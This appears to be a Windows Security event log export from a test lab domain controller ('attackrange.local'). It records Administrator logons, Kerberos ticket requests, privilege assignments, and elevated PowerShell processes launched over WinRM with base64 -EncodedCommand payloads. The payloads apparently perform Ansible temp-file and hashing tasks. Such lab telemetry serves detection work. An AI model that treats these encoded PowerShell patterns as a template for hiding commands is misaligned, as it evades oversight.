	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon GUID:		{96D2DD71-32E1-E85A-5916-E048AB39A344}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:49:52 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4769
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Service Ticket Operations
OpCode=Info
RecordNumber=251846
Keywords=Audit Success
Message=A Kerberos service ticket was requested.

Account Information:
	Account Name:		Administrator@ATTACKRANGE.LOCAL
	Account Domain:		ATTACKRANGE.LOCAL
	Logon GUID:		{96D2DD71-32E1-E85A-5916-E048AB39A344}

Service Information:
	Service Name:		WIN-DC-725$
	Service ID:		ATTACKRANGE\WIN-DC-725$

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810000
	Ticket Encryption Type:	0x12
	Failure Code:		0x0
	Transited Services:	-

This event is generated every time access is requested to a resource such as a computer or a Windows service.  The service name indicates the resource to which access was requested.

This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event.  The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket.

Ticket options, encryption types, and failure codes are defined in RFC 4120.
03/11/2021 11:49:52 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4768
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Authentication Service
OpCode=Info
RecordNumber=251845
Keywords=Audit Success
Message=A Kerberos authentication ticket (TGT) was requested.

Account Information:
	Account Name:		Administrator
	Supplied Realm Name:	ATTACKRANGE
	User ID:			ATTACKRANGE\Administrator

Service Information:
	Service Name:		krbtgt
	Service ID:		ATTACKRANGE\krbtgt

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810010
	Result Code:		0x0
	Ticket Encryption Type:	0x12
	Pre-Authentication Type:	2

Certificate Information:
	Certificate Issuer Name:		
	Certificate Serial Number:	
	Certificate Thumbprint:		

Certificate information is only provided if a certificate was used for pre-authentication.

Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120.
03/11/2021 11:49:52 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=251844
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x14253C

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x7dc
	New Process Name:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x11f0
	Creator Process Name:	C:\Windows\System32\cmd.exe
	Process Command Line:	PowerShell  -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand YgBlAGcAaQBuACAAewAKACQAcABhAHQAaAAgAD0AIAAnAEMAOgBcAFUAcwBlAHIAcwBcAEEAZABtAGkAbgBpAHMAdAByAGEAdABvAHIAXABBAHAAcABEAGEAdABhAFwATABvAGMAYQBsAFwAVABlAG0AcABcAGEAbgBzAGkAYgBsAGUALQB0AG0AcAAtADEANgAxADQANgAwADIANQA3ADcALgA2ADAANAA0ADcANAA4AC0AMgAzADYANAA0ADEAMAAyADAAOQAyADYAMwAwAFwAcwBvAHUAcgBjAGUAJwAKACQARABlAGIAdQBnAFAAcgBlAGYAZQByAGUAbgBjAGUAIAA9ACAAIgBDAG8AbgB0AGkAbgB1AGUAIgAKACQARQByAHIAbwByAEEAYwB0AGkAbwBuAFAAcgBlAGYAZQByAGUAbgBjAGUAIAA9ACAAIgBTAHQAbwBwACIACgBTAGUAdAAtAFMAdAByAGkAYwB0AE0AbwBkAGUAIAAtAFYAZQByAHMAaQBvAG4AIAAyAAoAJABmAGQAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAEkATwAuAEYAaQBsAGUAXQA6ADoAQwByAGUAYQB0AGUAKAAkAHAAYQB0AGgAKQAKACQAcwBoAGEAMQAgAD0AIABbAFMAeQBzAHQAZQBtAC4AUwBlAGMAdQByAGkAdAB5AC4AQwByAHkAcAB0AG8AZwByAGEAcABoAHkALgBTAEgAQQAxAEMAcgB5AHAAdABvAFMAZQByAHYAaQBjAGUAUAByAG8AdgBpAGQAZQByAF0AOgA6AEMAcgBlAGEAdABlACgAKQAKACQAYgB5AHQAZQBzACAAPQAgAEAAKAApACAAIwBpAG4AaQB0AGkAYQBsAGkAegBlACAAZgBvAHIAIABlAG0AcAB0AHkAIABmAGkAbABlACAAYwBhAHMAZQAKAH0ACgBwAHIAbwBjAGUAcwBzACAAewAKACQAYgB5AHQAZQBzACAAPQAgAFsAUwB5AHMAdABlAG0ALgBDAG8AbgB2AGUAcgB0AF0AOgA6AEYAcgBvAG0AQgBhAHMAZQA2ADQAUwB0AHIAaQBuAGcAKAAkAGkAbgBwAHUAdAApAAoAJABzAGgAYQAxAC4AVAByAGEAbgBzAGYAbwByAG0AQgBsAG8AYwBrACgAJABiAHkAdABlAHMALAAgADAALAAgACQAYgB5AHQAZQBzAC4ATABlAG4AZwB0AGgALAAgACQAYgB5AHQAZQBzACwAIAAwACkAIAB8ACAATwB1AHQALQBOAHUAbABsAAoAJABmAGQALgBXAHIAaQB0AGUAKAAkAGIAeQB0AGUAcwAsACAAMAAsACAAJABiAHkAdABlAHMALgBMAGUAbgBnAHQAaAApAAoAfQAKAGUAbgBkACAAewAKACQAcwBoAGEAMQAuAFQAcgBhAG4AcwBmAG8AcgBtAEYAaQBuAGEAbABCAGwAbwBjAGsAKAAkAGIAeQB0AGUAcwAsACAAMAAsACAAMAApACAAfAAgAE8AdQB0AC0ATgB1AGwAbAAKACQAaABhAHMAaAAgAD0AIABbAFMAeQBzAHQAZQBtAC4AQgBpAHQAQwBvAG4AdgBlAHIAdABlAHIAXQA6ADoAVABvAFMAdAByAGkAbgBnACgAJABzAGgAYQAxAC4ASABhAHMAaAApAC4AUgBlAHAAbABhAGMAZQAoACIALQAiACwAIAAiACIAKQAuAFQAbwBMAG8AdwBlAHIASQBuAHYAYQByAGkAYQBuAHQAKAApAAoAJABmAGQALgBDAGwAbwBzAGUAKAApAAoAVwByAGkAdABlAC0ATwB1AHQAcAB1AHQAIAAiAHsAIgAiAHMAaABhADEAIgAiADoAIgAiACQAaABhAHMAaAAiACIAfQAiAAoAfQA=

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:49:52 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=251843
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x14253C

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x11f0
	New Process Name:	C:\Windows\System32\cmd.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x12c4
	Creator Process Name:	C:\Windows\System32\winrshost.exe
	Process Command Line:	C:\Windows\system32\cmd.exe /C PowerShell -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand YgBlAGcAaQBuACAAewAKACQAcABhAHQAaAAgAD0AIAAnAEMAOgBcAFUAcwBlAHIAcwBcAEEAZABtAGkAbgBpAHMAdAByAGEAdABvAHIAXABBAHAAcABEAGEAdABhAFwATABvAGMAYQBsAFwAVABlAG0AcABcAGEAbgBzAGkAYgBsAGUALQB0AG0AcAAtADEANgAxADQANgAwADIANQA3ADcALgA2ADAANAA0ADcANAA4AC0AMgAzADYANAA0ADEAMAAyADAAOQAyADYAMwAwAFwAcwBvAHUAcgBjAGUAJwAKACQARABlAGIAdQBnAFAAcgBlAGYAZQByAGUAbgBjAGUAIAA9ACAAIgBDAG8AbgB0AGkAbgB1AGUAIgAKACQARQByAHIAbwByAEEAYwB0AGkAbwBuAFAAcgBlAGYAZQByAGUAbgBjAGUAIAA9ACAAIgBTAHQAbwBwACIACgBTAGUAdAAtAFMAdAByAGkAYwB0AE0AbwBkAGUAIAAtAFYAZQByAHMAaQBvAG4AIAAyAAoAJABmAGQAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAEkATwAuAEYAaQBsAGUAXQA6ADoAQwByAGUAYQB0AGUAKAAkAHAAYQB0AGgAKQAKACQAcwBoAGEAMQAgAD0AIABbAFMAeQBzAHQAZQBtAC4AUwBlAGMAdQByAGkAdAB5AC4AQwByAHkAcAB0AG8AZwByAGEAcABoAHkALgBTAEgAQQAxAEMAcgB5AHAAdABvAFMAZQByAHYAaQBjAGUAUAByAG8AdgBpAGQAZQByAF0AOgA6AEMAcgBlAGEAdABlACgAKQAKACQAYgB5AHQAZQBzACAAPQAgAEAAKAApACAAIwBpAG4AaQB0AGkAYQBsAGkAegBlACAAZgBvAHIAIABlAG0AcAB0AHkAIABmAGkAbABlACAAYwBhAHMAZQAKAH0ACgBwAHIAbwBjAGUAcwBzACAAewAKACQAYgB5AHQAZQBzACAAPQAgAFsAUwB5AHMAdABlAG0ALgBDAG8AbgB2AGUAcgB0AF0AOgA6AEYAcgBvAG0AQgBhAHMAZQA2ADQAUwB0AHIAaQBuAGcAKAAkAGkAbgBwAHUAdAApAAoAJABzAGgAYQAxAC4AVAByAGEAbgBzAGYAbwByAG0AQgBsAG8AYwBrACgAJABiAHkAdABlAHMALAAgADAALAAgACQAYgB5AHQAZQBzAC4ATABlAG4AZwB0AGgALAAgACQAYgB5AHQAZQBzACwAIAAwACkAIAB8ACAATwB1AHQALQBOAHUAbABsAAoAJABmAGQALgBXAHIAaQB0AGUAKAAkAGIAeQB0AGUAcwAsACAAMAAsACAAJABiAHkAdABlAHMALgBMAGUAbgBnAHQAaAApAAoAfQAKAGUAbgBkACAAewAKACQAcwBoAGEAMQAuAFQAcgBhAG4AcwBmAG8AcgBtAEYAaQBuAGEAbABCAGwAbwBjAGsAKAAkAGIAeQB0AGUAcwAsACAAMAAsACAAMAApACAAfAAgAE8AdQB0AC0ATgB1AGwAbAAKACQAaABhAHMAaAAgAD0AIABbAFMAeQBzAHQAZQBtAC4AQgBpAHQAQwBvAG4AdgBlAHIAdABlAHIAXQA6ADoAVABvAFMAdAByAGkAbgBnACgAJABzAGgAYQAxAC4ASABhAHMAaAApAC4AUgBlAHAAbABhAGMAZQAoACIALQAiACwAIAAiACIAKQAuAFQAbwBMAG8AdwBlAHIASQBuAHYAYQByAGkAYQBuAHQAKAApAAoAJABmAGQALgBDAGwAbwBzAGUAKAApAAoAVwByAGkAdABlAC0ATwB1AHQAcAB1AHQAIAAiAHsAIgAiAHMAaABhADEAIgAiADoAIgAiACQAaABhAHMAaAAiACIAfQAiAAoAfQA=

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:49:52 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=251842
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x145C74

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeEnableDelegationPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:49:52 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=251841
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x145C74
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{96D2DD71-32E1-E85A-5916-E048AB39A344}

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	WIN-DC-725
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:49:52 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=251840
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon GUID:		{96D2DD71-32E1-E85A-5916-E048AB39A344}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:49:52 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4769
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Service Ticket Operations
OpCode=Info
RecordNumber=251839
Keywords=Audit Success
Message=A Kerberos service ticket was requested.

Account Information:
	Account Name:		Administrator@ATTACKRANGE.LOCAL
	Account Domain:		ATTACKRANGE.LOCAL
	Logon GUID:		{96D2DD71-32E1-E85A-5916-E048AB39A344}

Service Information:
	Service Name:		WIN-DC-725$
	Service ID:		ATTACKRANGE\WIN-DC-725$

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810000
	Ticket Encryption Type:	0x12
	Failure Code:		0x0
	Transited Services:	-

This event is generated every time access is requested to a resource such as a computer or a Windows service.  The service name indicates the resource to which access was requested.

This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event.  The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket.

Ticket options, encryption types, and failure codes are defined in RFC 4120.
03/11/2021 11:49:52 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4768
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Authentication Service
OpCode=Info
RecordNumber=251838
Keywords=Audit Success
Message=A Kerberos authentication ticket (TGT) was requested.

Account Information:
	Account Name:		Administrator
	Supplied Realm Name:	ATTACKRANGE
	User ID:			ATTACKRANGE\Administrator

Service Information:
	Service Name:		krbtgt
	Service ID:		ATTACKRANGE\krbtgt

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810010
	Result Code:		0x0
	Ticket Encryption Type:	0x12
	Pre-Authentication Type:	2

Certificate Information:
	Certificate Issuer Name:		
	Certificate Serial Number:	
	Certificate Thumbprint:		

Certificate information is only provided if a certificate was used for pre-authentication.

Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120.
03/11/2021 11:49:52 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=251837
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x145C58

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:49:52 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=251836
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x145C58

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeEnableDelegationPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:49:52 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=251835
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x145C58
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{96D2DD71-32E1-E85A-5916-E048AB39A344}

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	WIN-DC-725
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:49:52 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=251834
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon GUID:		{96D2DD71-32E1-E85A-5916-E048AB39A344}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:49:52 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4769
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Service Ticket Operations
OpCode=Info
RecordNumber=251833
Keywords=Audit Success
Message=A Kerberos service ticket was requested.

Account Information:
	Account Name:		Administrator@ATTACKRANGE.LOCAL
	Account Domain:		ATTACKRANGE.LOCAL
	Logon GUID:		{96D2DD71-32E1-E85A-5916-E048AB39A344}

Service Information:
	Service Name:		WIN-DC-725$
	Service ID:		ATTACKRANGE\WIN-DC-725$

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810000
	Ticket Encryption Type:	0x12
	Failure Code:		0x0
	Transited Services:	-

This event is generated every time access is requested to a resource such as a computer or a Windows service.  The service name indicates the resource to which access was requested.

This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event.  The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket.

Ticket options, encryption types, and failure codes are defined in RFC 4120.
03/11/2021 11:49:52 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4768
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Authentication Service
OpCode=Info
RecordNumber=251832
Keywords=Audit Success
Message=A Kerberos authentication ticket (TGT) was requested.

Account Information:
	Account Name:		Administrator
	Supplied Realm Name:	ATTACKRANGE
	User ID:			ATTACKRANGE\Administrator

Service Information:
	Service Name:		krbtgt
	Service ID:		ATTACKRANGE\krbtgt

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810010
	Result Code:		0x0
	Ticket Encryption Type:	0x12
	Pre-Authentication Type:	2

Certificate Information:
	Certificate Issuer Name:		
	Certificate Serial Number:	
	Certificate Thumbprint:		

Certificate information is only provided if a certificate was used for pre-authentication.

Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120.
03/11/2021 11:49:52 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=251831
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x144503

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:49:52 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=251830
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x14253C

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xf4c
	New Process Name:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x1138
	Creator Process Name:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
	Process Command Line:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand UwBlAHQALQBTAHQAcgBpAGMAdABNAG8AZABlACAALQBWAGUAcgBzAGkAbwBuACAATABhAHQAZQBzAHQACgAkAHQAbQBwAF8AcABhAHQAaAAgAD0AIABbAFMAeQBzAHQAZQBtAC4ARQBuAHYAaQByAG8AbgBtAGUAbgB0AF0AOgA6AEUAeABwAGEAbgBkAEUAbgB2AGkAcgBvAG4AbQBlAG4AdABWAGEAcgBpAGEAYgBsAGUAcwAoACcAJQBUAEUATQBQACUAJwApAAoAJAB0AG0AcAAgAD0AIABOAGUAdwAtAEkAdABlAG0AIAAtAFQAeQBwAGUAIABEAGkAcgBlAGMAdABvAHIAeQAgAC0AUABhAHQAaAAgACQAdABtAHAAXwBwAGEAdABoACAALQBOAGEAbQBlACAAJwBhAG4AcwBpAGIAbABlAC0AdABtAHAALQAxADYAMQA0ADYAMAAyADUANwA3AC4ANgAwADQANAA3ADQAOAAtADIAMwA2ADQANAAxADAAMgAwADkAMgA2ADMAMAAnAAoAVwByAGkAdABlAC0ATwB1AHQAcAB1AHQAIAAtAEkAbgBwAHUAdABPAGIAagBlAGMAdAAgACQAdABtAHAALgBGAHUAbABsAE4AYQBtAGUACgBJAGYAIAAoAC0AbgBvAHQAIAAkAD8AKQAgAHsAIABJAGYAIAAoAEcAZQB0AC0AVgBhAHIAaQBhAGIAbABlACAATABBAFMAVABFAFgASQBUAEMATwBEAEUAIAAtAEUAcgByAG8AcgBBAGMAdABpAG8AbgAgAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAKQAgAHsAIABlAHgAaQB0ACAAJABMAEEAUwBUAEUAWABJAFQAQwBPAEQARQAgAH0AIABFAGwAcwBlACAAewAgAGUAeABpAHQAIAAxACAAfQAgAH0A

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:49:52 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=251829
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x144503

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeEnableDelegationPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:49:52 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=251828
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x144503
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{96D2DD71-32E1-E85A-5916-E048AB39A344}

Process Information:
	Process ID:		0x534
